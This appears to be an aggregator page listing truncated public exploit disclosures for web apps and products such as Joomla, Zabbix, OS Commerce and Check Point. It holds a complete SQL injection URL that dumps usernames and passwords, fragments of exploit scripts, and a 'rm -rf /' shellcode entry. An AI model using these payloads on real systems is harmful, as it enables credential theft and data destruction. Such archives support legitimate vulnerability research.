Joomla! Component com_schools - SQL Injection

Joomla! Component comschools - SQL Injection Joomla Component comschools SQL injection author:Mr.tro0oqy email:[email protected] exp: http://server/path/index.php?option=comschools&Itemid=89&schoolid=-53+union+select+1,groupconcatusername,0x3a,password,3,4,5,6,7,8,9,10,11+from+josusers-- demo :...

Add An Ad Script Remote File Upload

Exploit for unknown platform in category web applications =================================== Add An Ad Script Remote File Upload =================================== | | Add An Ad Script Remote PHP File Upload | | it works with Add An Ad Cart script and Add An Event script | | Site :...

Zabbix Server Multiple remote vulnerabilities

No description provided by source. Zabbix Server : Multiple remote vulnerabilities From: Nicob nicob nicob net Date: Sun, 13 Dec 2009 16:28:35 +0100 From Wikipedia : "Zabbix is a network management system application ... designed to monitor and track the status of various network services, server...

OS Commerce Bypass / Command Execution

OS Commerce authentication bypass Description: Accessing administration pages should give a login screen to unauthenticated users, however instead, data is displayed, and administrative commands can be executed. Apparently any page in the admin directory can be accessed in this way including file...

Check Point Connectra R62 - LoginLogin Arbitrary Script Injection

Check Point Connectra R62 - LoginLogin Arbitrary Script Injection source: https://www.securityfocus.com/bid/36466/info Check Point Connectra is prone to an arbitrary-script-injection vulnerability because it fails to properly sanitize user-supplied input. An attacker can exploit this issue to...

phpDirectorySource 1.0 - Cross-Site Scripting SQL Injection

phpDirectorySource 1.0 - Cross-Site Scripting SQL Injection ============================================================================== » ! Coder - Developer HTML / CSS / PHP / Vb6 . ! ============================================================================== » Web Business Directory 1.0...

LinkLogger 2.4.10.15 - syslog Denial of Service

LinkLogger 2.4.10.15 - syslog Denial of Service !/usr/bin/perl LinkLogger 2.4.10.15 syslog DoS Tested against 2.4.10.15 Coded by Mike Cyr, aka h00die mcyr2 at csc dotcom Notes: 1. Based on code from http://www.pythonprasanna.com/Papers%20and%20Articles/Sockets/udpspoofpl.txt 2. The exact amount o...

Job2C 4.2 Local File Inclusion

Job2C version 4.2 adtype MulTiple LFi Script: http://www.w2b.ru/download/Job2C.zip ---------------------------------------------------------- Discovered By: ZoRLu Date: 15.04.2009 Home: yildirimordulari.com / dafgamers.com / z0rlu.blogspot.com contact: [email protected] N0T: Herkes Hecker Olmu...

Check Point Firewall-1 PKI Web Service HTTP Header Remote Overflow

No description provided by source. - Check Point Firewall-1 PKI Web Service HTTP Header Remote Overflow - Description The Check Point Firewall-1 PKI Web Service, running by default on TCP port 18264, is vulnerable to a remote overflow in the handling of very long HTTP headers. This was discovered...

RavenNuke avartarlist.php模块PHP代码注入漏洞

BUGTRAQ ID: 33787 RavenNuke是基于PHP和MySQL的自动新闻发布和内容管理系统。 RavenNuke的avatarlist.php模块没有正确地验证对pregreplace调用所传送的patterns和replacements参数，远程攻击者可以通过向服务器提交恶意请求导致注入并执行任意PHP代码。以下是有漏洞的代码段： $patterns0 = '/.gif/'; $patterns1 = '/.png/'; ... $replacements1 = ''; $replacements0 = ''; ... $entryname =...

Nokia Phoenix Service Software ActiveX控件多个缓冲区溢出漏洞

BUGTRAQ ID: 33726 Nokia Phoenix Service Software是用于刷机诺基亚手机的软件。 Nokia Phoenix Service...

EPOLL SYSTEM 3.1 - 'Password.dat' Disclosure

!/usr/bin/python Portal Name: EPOLL SYSTEM Version : All version 'Google Dork : Powered by Egorix Exploit Coded by: PouyaServer Exploit Discovered by: PouyaServer Contact Me : [email protected] Epoll system login page = www.site.com/Path/admin.php import urllib import sys import parser...

PowerNews 2.5.4 (news.php newsid) SQL Injection Vulnerability

No description provided by source. ...:::::powernews 2.5.4 SQL Injection Vulnerability::::.... Virangar Security Team www.virangar.net -------- Discoverd By :virangar security teamhadihadi special tnx to:MR.nosrati,black.shadowes,MR.hesy,Ali007,Zahra & all virangar members & all hackerz greetz:to...

checknew-sql.txt

!/usr/bin/perl -w ===================================================================== Check New 4.52 findoffice.php search Remote SQL Injection Exploit ===================================================================== ,--^----------,--------,-----,-------^--, | ||||||||| --------' | O .. CW...

nitrotech-rfisql.txt

Name: Nitrotech 0.0.3a Multiple Remote Vulnerabilities Download: http://sourceforge.net/project/downloading.php?groupname=nitrotech&filename=nitrotech003a.zip&usemirror=garr Author: Osirys, thanks to x0r Contact: [email protected] Nitrotech cms is vulnerable to multiple vulnerabilities, like remote...

FTPzik (XSS/LFI) Multiple Remote Vulnerabilities

No description provided by source. ------------------------------------------------------------------------- -- JIKO FroM No-exploit.Com --- ------------------------------------------------------------------------- Author : jiko email : [email protected] Home : www.no-exploit.Com Script : FTPZI...

Minigal b13 (index.php list) Remote File Disclosure Exploit

Exploit for unknown platform in category web applications =========================================================== Minigal b13 index.php list Remote File Disclosure Exploit =========================================================== ?php settimelimit0; function findpass$data $pass =...

E-topbiz Domain Shop v2.0 (Auth Bypass) SQL Injection Vulnerability

No description provided by source. -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= E-topbiz Domain Shop v2.0 Auth Bypass SQL Injection Vulnerabilities -=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= Script: E-topbiz...

aspWebAlbum 3.2 (Upload/SQL/XSS) Multiple Remote Vulnerabilities

Discovered bay AleminKrali ==== - aspWebAlbum 3.2 - Script Download "http://www.fullrevolution.com" - aspWebAlbum 3.2 Single Site License | $60.00 : - HomePage al3m.blogspot.com - [email protected]...

linux/x86 rm -rf / attempts to block the process from being stopped

Exploit for linux/x86 platform in category shellcode =================================================================== linux/x86 rm -rf / attempts to block the process from being stopped =================================================================== / x86 linux rm -rf / which attempts to...